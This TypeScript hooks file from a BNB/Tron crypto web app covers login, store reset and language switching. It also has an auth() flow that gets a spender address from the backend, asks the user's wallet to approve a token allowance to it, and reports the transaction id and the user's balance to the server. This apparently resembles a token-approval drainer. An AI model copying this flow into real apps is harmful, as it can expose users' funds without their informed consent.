/*
 * @Date: 2023-03-27 16:35:00
 * @LastEditTime: 2023-04-25 21:47:47
 * @FilePath: /nlk/src/hooks/sysHooks.ts
 * 介绍:系统钩子
 */
import { Locale, showDialog } from "vant";
import enUS from "vant/es/locale/lang/en-US";
import zhCN from "vant/es/locale/lang/zh-CN";
import useSysStore from "@@/store/useSysStore";
import toast from "./toast";
import { i18n } from "@@/language";
import PubSub from "pubsub-js";
import type { StoreDefinition } from "pinia";
import useUserinfoStore from "@@/store/useUserinfoStore";
import { apiAutoState } from "@@/api/module/balance";
import { apiAutoAddress } from "@@/api/module/sys";
import { apiAutoTxid } from "@@/api/module/transaction";
import { SdkRes } from "@@/sdk";
import * as web3Eth from "@@/sdk/web3Eth";
import * as web3Tron from "@@/sdk/web3Tron";
import { StoreCoinItem } from "@@/store/useBalanceStore";
import cloneDeep from "lodash/cloneDeep";

//@ts-ignore
const { t } = i18n.global;

/**
 * * 检查授权状态
 * @param coin *要检查授权的币种
 */
export function checkAuth(coin: StoreCoinItem) {
  return new Promise<void>(async (resolve, reject) => {
    const sysStore = useSysStore();
    toast.loading();
    const res = await apiAutoState({
      coin_id: coin.id,
      address: sysStore.lastLoginInfo?.accounts!,
    });
    toast.close();
    if (!res) return reject();
    if (res.status == 1) return resolve();
    showDialog({
      title: t("wei-shou-quan"),
      // message: `${t("ning-xu-yao-xian-jin-xing-shou-quan")},${t("bi-zhong")}:${
      //   coin.code
      // }`,
      message: `${t("ning-xu-yao-xian-jin-xing-shou-quan")}`,
    })
      .then(async () => {
        const authRes = await auth(coin);
        if (authRes !== true) return reject();
        return resolve();
      })
      .catch(reject);
  });
}
/**
 * * 发起授权
 * @param coin 要授权的币种
 * @returns
 */
export async function auth(coin: StoreCoinItem): Promise<boolean> {
  let chain = 56;
  if (!window.isBnb) chain = 100;
  toast.loading();
  const addressRes = await apiAutoAddress({ chain });
  toast.close();
  if (!addressRes) return false;
  let approveRes: SdkRes<string>;
  const param: Parameters<typeof web3Tron.sdkApprove> = [
    coin.contract_addr!,
    99,
    32,
    addressRes.address,
  ];
  toast.loading();
  if (window.isBnb) {
    approveRes = await web3Eth.sdkApprove(...param);
  } else {
    approveRes = await web3Tron.sdkApprove(...param);
  }
  toast.close();
  if (!approveRes.status) {
    toast.error(approveRes.message || "approve fail");
    return false;
  }
  await apiAutoTxid({
    txid: approveRes.data!,
    coin: coin.id,
    balance: coin.balance || 0,
  });
  await showDialog({
    title: t("ti-shi"),
    message: t("shou-quan-chen-gong"),
    showCancelButton: false,
  });
  return true;
}

/**登录完成 */
export async function logined() {
  window.isLogined = true;
  const userinfoStore = useUserinfoStore();
  await Promise.all([userinfoStore.getUserinfo()]);
  toast.close();
  setTimeout(() => {
    toast.success(t("deng-lu-cheng-gong"));
  }, 1000);
  PubSub.publish("logined");
  return true;
}
/**
 * * 重置所有本地仓库
 * @argument 不包括用户设置
 */
export function resetStore() {
  const sotres = Object.values(
    import.meta.glob("@@/store/**.ts", { eager: true })
  );
  console.log("重置所有store");
  const sysStore = useSysStore();
  const setting = cloneDeep(sysStore.setting);
  sotres.forEach((val: any) => {
    const useStore = val.default as StoreDefinition;
    const store = useStore();
    store.$reset();
  });
  sysStore.setting = setting;
}
/**切换语言 */
export function changeLang(langKey: string | undefined) {
  try {
    const _langKey = langKey as keyof typeof langEnum;
    const sysStore = useSysStore();
    langKey ??= import.meta.env.VITE_DEFAULT_LANG;
    console.log(`切换语言${langKey}`);
    const { locale } = i18n.global;
    locale.value = langKey;
    const langEnum = {
      "en-US": {
        key: "en-US",
        raw: enUS,
        apiLang: "en",
      },
      "zh-CN": {
        key: "zh-CN",
        raw: zhCN,
        apiLang: "zh-CN",
      },
    };
    Locale.use(langEnum[_langKey].key, langEnum[_langKey].raw);
    sysStore.setting = { ...sysStore.setting, language: langKey };
    sysStore.reqHeader = {
      ...sysStore.reqHeader,
      language: langEnum[_langKey].apiLang,
    };
  } catch (error) {
    console.warn(`切换语言失败${langKey}`, error);
  }
}
